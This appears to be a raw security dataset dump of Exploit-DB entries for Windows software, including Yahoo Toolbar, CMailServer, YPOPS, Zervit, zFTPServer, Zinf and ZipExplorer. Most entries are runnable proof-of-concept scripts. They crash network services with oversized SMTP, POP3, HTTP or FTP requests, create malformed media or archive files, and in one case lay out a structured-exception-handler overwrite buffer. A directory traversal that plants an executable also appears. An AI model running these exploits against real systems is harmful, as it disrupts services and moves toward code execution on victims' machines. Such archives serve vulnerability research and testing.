deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30832
Description: Yahoo! Toolbar 1.4.1 Helper - Class ActiveX Control Remote Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2007-11-29
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/26656/info

Yahoo! Toolbar ActiveX Control is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer or other applications that use the vulnerable ActiveX control. Reports indicate that code execution is not possible, but this has not been confirmed.

Yahoo! Toolbar 1.4.1 is vulnerable to this issue; other versions may also be affected. 

<html><body> <object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object> <script language=vbscript> arg1=String(517140, "A") target.c arg1 </script> </body></html>
Exploit-DB #24684
Description: Yak! Chat Client 2.x - FTP Server Directory Traversal
Type: dos
Platform: windows
Date: 2004-10-15
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11433/info

Yak! Chat Client FTP server is reported prone to a remote directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

This issue can ultimately allow an attacker to compromise a computer by placing malicious files on the system and executing these files through other means.

Yak! 2.1.2 and prior versions are reported vulnerable to this issue.

dir /
dir ../../windows/

put
evil.exe
../../windows/calc.exe
Exploit-DB #22582
Description: Youngzsoft CMailServer 4.0 - 'RCPT TO' Buffer Overflow
Type: dos
Platform: windows
Date: 2003-05-10
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/7548/info

A buffer overflow vulnerability has been reported for CMailServer. The vulnerability exists due to insufficient bounds checking when parsing e-mail headers. Specifically, an overly long RCPT TO e-mail header will cause CMailServer to crash and corrupt sensitive memory. 

#!/usr/bin/perl -w
##################
# ESMTP CMailServer 4.0.2003.03.27 SMTP Service DoS attack
#
# URL: http://www.infowarfare.dk/
# EMAIL: der@infowarfare.dk
# USAGE: sploit.pl <target ip>
#
# Summary:
#
# The problem is a Buffer Overflow in the SMTP protocol, within the
# ESMTP CMailServer, causing the service to shutdown
# It is then where we can actually overwrite the exception handler on the
stack allowing
# A system compromise with code execution running as SYSTEM.
#
#
# Ive censored some of the source code out. =)
#
# Solution:
# None at this time
#
#

use IO::Socket;

$target = shift() || "warlab.dk";
my $port = 25;
my $Buffer = "A" x <CENSORED> ; #


my $sock = IO::Socket::INET->new (
                                    PeerAddr => $target,
                                    PeerPort => $port,
                                    Proto => 'tcp'
                                 ) || die "could not connect: $!";

my $banner = <$sock>;
if ($banner !~ /^2.*/)
{
    print STDERR "Error: invalid server response '$banner'.\n";
    exit(1);
}

print $sock "HELO $target\r\n";
$resp = <$sock>;

print $sock "MAIL FROM: $Buffer\@$target.dk\r\n";
$resp = <$sock>;

print $sock "\r\n";
print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

close($sock);
Exploit-DB #22581
Description: Youngzsoft CMailServer 4.0 - MAIL FROM Buffer Overflow
Type: dos
Platform: windows
Date: 2003-05-10
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/7547/info

A buffer overflow vulnerability has been reported for CMailServer. The vulnerability exists due to insufficient bounds checking when parsing e-mail headers. Specifically, an overly long MAIL FROM e-mail header will cause CMailServer to crash and corrupt sensitive memory. 

#!/usr/bin/perl -w
##################
# ESMTP CMailServer 4.0.2003.03.27 SMTP Service DoS attack
#
# URL: http://www.infowarfare.dk/
# EMAIL: der@infowarfare.dk
# USAGE: sploit.pl <target ip>
#
# Summary:
#
# The problem is a Buffer Overflow in the SMTP protocol, within the
# ESMTP CMailServer, causing the service to shutdown
# It is then where we can actually overwrite the exception handler on the
stack allowing
# A system compromise with code execution running as SYSTEM.
#
#
# Ive censored some of the source code out. =)
#
# Solution:
# None at this time
#
#

use IO::Socket;

$target = shift() || "warlab.dk";
my $port = 25;
my $Buffer = "A" x <CENSORED> ; #


my $sock = IO::Socket::INET->new (
                                    PeerAddr => $target,
                                    PeerPort => $port,
                                    Proto => 'tcp'
                                 ) || die "could not connect: $!";

my $banner = <$sock>;
if ($banner !~ /^2.*/)
{
    print STDERR "Error: invalid server response '$banner'.\n";
    exit(1);
}

print $sock "HELO $target\r\n";
$resp = <$sock>;

print $sock "MAIL FROM: $Buffer\@$target.dk\r\n";
$resp = <$sock>;

print $sock "\r\n";
print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

close($sock);
Exploit-DB #11227
Description: yPlay 1.0.76 - '.mp3' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-22
Author: cr4wl3r

Exploit:
#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.mp3 >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] yPlay 1.0.76 (.mp3) Local Crash PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "b00m.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";
Exploit-DB #15356
Description: yPlay 2.4.5 - Denial of Service
Type: dos
Platform: windows
Date: 2010-10-30
Author: MOHAMED ABDI

Exploit:
#Exploit Title : yPlay Denial of Service Vulnerability
#Software : yPlay 
#Software link : http://www.spacejock.m6.net/files/yPlayFull.exe
#Autor : ABDI MOHAMED
#Email : abdimohamed@hotmail.fr
#greetz: net_own3r , sadhacker , net-decrypt3r , xa7m3d , the commander , mr.fearfactor and all tunisian hackers
#Software version : 2.4.5
#Tested on : Win7 Ultimate fr + win xp sp 2
my $file="Crash.mp3";
my $junk="A"x707570;
open(POOH,">$file");
print POOH $junk;
print "[+]Malicious File created successfully!\n";
print "[+]Discovered and Coded by abdimohamed \n";
close(POOH);
Exploit-DB #11095
Description: YPOPS! 0.9.7.3 - Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2010-01-10
Author: blake

Exploit:
# Version:0.9.7.3
# Tested on: Windows XP SP3

#!/usr/bin/python
# All modules are SafeSEH protected in service pack 3.


import socket, sys

print "\n ========================================"
print "  YPOPS! v 0.9.7.3 Buffer Overflow (SEH)"
print "  Proof of Concept by Blake  "
print "  Tested on Windows XP Pro SP 3 "
print " ========================================\n"


if len(sys.argv) != 2:
    print "Usage: %s <ip>\n" % sys.argv[0]
    sys.exit(0)

host = sys.argv[1]
port = 110

buffer = "\x41" * 1663
buffer += "\x42" * 4               # next seh
buffer += "\x43" * 4               # seh handler
buffer += "\x44" * 2000        # 136 bytes of space for shellcode

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((host,port))
    print "[+] Connecting to server...\n"
    s.recv(1024)
    s.send('USER blake\r\n')
    s.recv(1024)
    print "[+] Sending buffer\n"
    s.send('PASS ' + buffer + '\r\n')
    s.recv(1024)
    s.close()
    print "[+] Done.\n"
except:
    print "[-] Could not connect to server!\n"
Exploit-DB #8447
Description: Zervit Web Server 0.02 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-15
Author: e.wiZz!

Exploit:
####################  Zervit Webserver 0.02  Buffer Overflow   ############################


############### By:      e.wiZz!

###############Site:   www.balcansecurity.com


############### Found with ServMeNot (world's sexiest fuzzer :P )



In the wild...

########################################################################################

######Vend0r site: http://www.ohloh.net/projects/mereo


/* When requested uri isn't found,it goes to char tmp[255],
and later it is used to output,you need 256 chars to overflow (check source "http.c") */

using System;
using System.IO;
using System.Net;
using System.Text;

class whatsoever
{
    static void Main()
    {
        // StringBuilder sb = new StringBuilder();

        //byte[] buf = new byte[8192];

        Console.WriteLine("Enter site: (http://localhost)");
        string sajt = Console.ReadLine();
        string uribad = "/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        HttpWebRequest request = (HttpWebRequest)
           
            WebRequest.Create(sajt+uribad);

        HttpWebResponse response = (HttpWebResponse)
            request.GetResponse();
        // you shouldn't see response
        Console.WriteLine(sb.ToString());
    }
}

// milw0rm.com [2009-04-15]
Exploit-DB #8721
Description: Zervit Web Server 0.04 - GET Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-05-18
Author: Stack

Exploit:
#!/usr/bin/perl
# Zervit webserver 0.4 Bof Poc
# make it just for fun :s
use LWP::Simple;
use LWP::UserAgent;
 
if (@ARGV < 2) {
            print("Usage: $0 <url> <port>\n");
            print("TARGETS are\n ");
            print("Example: perl $0 127.0.0.1 777 \n");
            exit(1);
                    }
                    ($target, $port) = @ARGV;
        print("Zervit Webserver 0.04 bof xpl : Coded by Stack!\n");
        print("Attacking $target on port $port!\n");
        print("Ddossing .......\n");
        $dos ="\x41" x 1000 ;
        $temp="/" x 2;
         my $url= "http://". $target. ":" . $port .$temp . $dos;
            $content=get $url;
            print("\n Server Bofed");

# milw0rm.com [2009-05-18]
Exploit-DB #8500
Description: Zervit Web Server 0.3 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-04-21
Author: shinnai

Exploit:
import socket
import sys

print "------------------------------------------------------"
print " Zervit Webserver 0.3 Remote Denial Of Service        "
print " url: http://zervit.sourceforge.net                   "
print "                                                      "
print " author: shinnai                                      "
print " mail: shinnai[at]autistici[dot]org                   "
print " site: http://www.shinnai.net                         "
print "                                                      "
print " greets to: e.wiZz! for inspiration. Be safe man...   "
print "                                                      "
print " dedicated to: all those tried to own my site :-p     "
print "------------------------------------------------------"

host = "127.0.0.1"
port = 80

try:
       buff = "//.\\" * 330
       request =  "GET " + buff + " HTTP/1.0"
       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       connection.connect((host, port))
       connection.send(request)
       raw_input('\n\nExploit completed. Press "Enter" to quit...')
       sys.exit
except:
       raw_input('\n\nUnable to connect. Press "Enter" to quit...')

# milw0rm.com [2009-04-21]
Exploit-DB #8522
Description: Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-04-22
Author: Jonathan Salwan

Exploit:
#!/usr/bin/perl
#
# Zervit HTTP Server <= v0.3 Remote Denial of Service.
#
# --------------------------------------------------------------------
# The vulnerability is caused due to an error in multi-socket.
# This can be exploited to crash the HTTP service.
# --------------------------------------------------------------------
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan\n";
print "[+] Soft   : Zervit 0.3 Remote DoS\n";

	if (@ARGV < 1)
		{
 		print "[-] Usage: <file.pl> <host> <port>\n";
 		print "[-] Exemple: file.pl 127.0.0.1 80\n";
 		exit;
		}


	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];

print "[+] Sending request...\n";

for($i=0;$i=4;$i++)
{
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-]Done!\n";

	print $socket "GET \x11 HTTP/1.0\n\r\n";
}

# milw0rm.com [2009-04-22]
Exploit-DB #18028
Description: zFTPServer - 'cwd/stat' Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-10-24
Author: Myo Soe

Exploit:
#!/usr/bin/python

# Exploit Title: zFTP Server "cwd" Remote Denial-of-Service
# Date: 2011-10-24
# Author: Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >
# Version: 2011-04-13 08:59
# Tested on: Windows XP, 2K3

import socket
import sys
import time

author = '(c) Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >'

# server 
server = 'zFTP Server version 2011-04-13 08:59'
title = ' "cwd" Remote Denial-of-Service Proof-of-Concept'

# payload

buffer= '*/' * 20000
cmd = "CWD"
payload = cmd + ' ' + buffer

pre_msg = 'Sending STAT DoS ... This may take a while '
post_msg = 'Job Done!'


def trigger(host, port, user, passw):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    
    try:
        sock.connect((host, port))
    except:
        sys.stderr.write(now() + 'ERROR: Cannot Connect to '+ host + ':' + str(port) + '\r\n')
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("USER " + user + "\r\n")
    r=sock.recv(1024)
    sock.send("PASS " + passw + "\r\n")
    r=sock.recv(1024)
    if 'Login not accepted' in r:
        sys.stderr.write(now() + 'ERROR: Incorrect username or password')
        sys.exit(1)
            
    print now(), pre_msg, '\r\n'
    try:
        for i in range(1,10):
            print "#",i
            sock.send(payload + "\r\n")
            time.sleep(5)
    except Exception, err:
        if 'Connection reset by peer' in str(err):
            print '\r\n',now(), server, ' has crashed'
        else:
            sys.stderr.write('\r\n' + now() + 'ERROR: %s\r\n' % str(err) + '\r\nWait a few seconds to see the server crashed\r\n')
        
    sock.close()
    print '\r\n',now(),post_msg 
    

def now():
    return time.strftime("[%Y-%m-%d %X] ")
    

def banner():
    print "\r\n",server,title,"\r\n",author,"\r\n\r\n"
    
def help():
    print "Usage: poc.py IP username password"


def main():
    banner()

    if len(sys.argv) <> 4:
        help()
        sys.exit(1)
    else:
        host = sys.argv[1]
        user = sys.argv[2]
        passw = sys.argv[3]
        trigger(host,21,user,passw)
        sys.exit(0)
    
if __name__ == '__main__':
    main()
Exploit-DB #7890
Description: Zinf Audio Player 2.2.1 - '.gqmpeg' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-27
Author: Hakxer

Exploit:
#!/usr/bin/perl
# Discovered & Written by : Hakxer
# Home : www.sec-geeks.com
# Program : http://www.zinf.org/ ../http://prdownloads.sourceforge.net/zinf/zinf-setup-2.2.1.exe
# Zinf Audio Player 2.2.1 ( gqmpeg FILE) Buffer Overflow PoC
# Greetz to : Egyptianxhacker,ProViDoR , Br1ght D@rk , Error Code , Kof2002 , Sql_Inj3ct0r , egy coders team , Sec-geeks.com


my $deamoddd="http://"."A" x 70000;

open(MYFILE,'>>hakxer.gqmpeg');

print MYFILE $deamoddd;

close(MYFILE);

print "PoC Created .. Hakxer [sec-geeks.com] EgY Coders Team";

# milw0rm.com [2009-01-27]
Exploit-DB #7889
Description: Zinf Audio Player 2.2.1 - '.m3u' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-27
Author: Hakxer

Exploit:
#!/usr/bin/perl
# Discovered & Written by : Hakxer
# Home : www.sec-geeks.com
# Program : http://www.zinf.org/ ../http://prdownloads.sourceforge.net/zinf/zinf-setup-2.2.1.exe
# Zinf Audio Player 2.2.1 (M3U FILE)  Local Heap Overflow

my $chars="http://"."A" x 50000;

open(MYFILE,'>>hakxer.m3u');

print MYFILE $chars;

close(MYFILE);

print " Done";

# milw0rm.com [2009-01-27]
Exploit-DB #7887
Description: Zinf Audio Player 2.2.1 - '.pls' Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-27
Author: Hakxer

Exploit:
#!/usr/bin/perl
# Discovered & Written by : Hakxer
# Home : www.sec-geeks.com
# Program : http://www.zinf.org/ ../http://prdownloads.sourceforge.net/zinf/zinf-setup-2.2.1.exe
# Zinf Audio Player 2.2.1 (PLS FILE)  Buffer Overflow PoC

my $chars="\x90" x 2000;

open(MYFILE,'>>hakxer.pls');

print MYFILE $chars;

close(MYFILE);

print " PoC Created .. Hakxer [ Sec-Geeks.com ] EgY Coders Team";

# milw0rm.com [2009-01-27]
Exploit-DB #47894
Description: ZIP Password Recovery 2.30 - 'ZIP File' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-09
Author: ZwX

Exploit:
# Exploit Title: ZIP Password Recovery 2.30 - 'ZIP File' Denial of Service (PoC)
# Exploit Author : ZwX
# Exploit Date: 2020-01-08
# Vendor Homepage : https://www.top-password.com/purchase.html
# Link Software : https://www.top-password.com/download/ZIPPRSetup.exe
# Tested on OS: Windows 10

Proof of Concept (PoC):
=======================

1.Download and install ZIP Password Recovery
2.Open the ZIP Password Recovery
3.Run the python operating script that will create a file (poc.txt)
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Select Your ZIP File ' and Click on the button 'Next'
6.ZIP Password Recovery Crashed

#!/usr/bin/python

DoS=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

poc = DoS
file = open("poc.txt","w")
file.write(poc)
file.close()

print "POC Created by ZwX"
Exploit-DB #29934
Description: ZIP Password Recovery Professional 5.1 - '.zip' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-11-30
Author: KAI

Exploit:
# Exploit Title:  ZIP Password Recovery Professional 5.1 (.zip) - Crash POC
# Date: 30.11.2013
# Exploit Author: KAI - (KAISAI12)
# Version: 5.1
# Vendor Homepage: http://www.recoverlostpassword.com/
# Tested on: [ Windows 7]
#============================================================================================
# After creating POC file (.zip), Add File To Program
#============================================================================================
# Contact :
#------------------
# Web Page : http://www.ceh.vn
#============================================================================================
 
#This exception may be expected and handled.
#eax=ffffff9a ebx=00000001 ecx=00000000 edx=00000000 esi=014b4f90 edi=001ec7d4
#eip=1000455c esp=001ec138 ebp=001ec2c8 iopl=0         nv up ei ng nz na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
#*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\ZIP Password Recovery Professional\ZipPasswordCrack.dll - 
#ZipPasswordCrack!CZipPasswordCrack::operator=+0x2f9c:
#1000455c 837a5000        cmp     dword ptr [edx+50h],0 ds:0023:00000050=????????

#!/usr/bin/python
head = "x68\x74\x74\x70\x3a\x2f\x2f"
buf = "\x90"*2000
try:
    fo=open("zipcrack.zip","w");
    fo.write(head+buf);
    fo.close();
    print "create succsess file"
except:
    print "create error !"
Exploit-DB #12816
Description: ZipExplorer 7.0 - '.zar' Denial of Service
Type: dos
Platform: windows
Date: 2010-05-31
Author: TecR0c

Exploit:
#!/usr/bin/python
#
# Title:                ZipExplorer 7.0 (.zar) DoS
# Advisory:             http://www.corelan.be:8800/advisories.php?id=10-045
# Author:               TecR0c - http://tecninja.net/blog
# Found by:             TecR0c - http://twitter.com/TecR0c
# Date:                 June 1st, 2010
# Download:             http://home.online.no/~arnholm/org/exe/ZipX70sh.exe
# Platform:             Windows XP sp3 En
# Greetz to:            Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.

# Usage: Launch Application > Open > Navigate to file > Double click > BOOM

print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] ZipExplorer 7.0 (.zar) DoS - by TecR0c"

dos = "\x41" * 2000

mefile = open('tecr0c.zar','w');
mefile.write(dos);
mefile.close()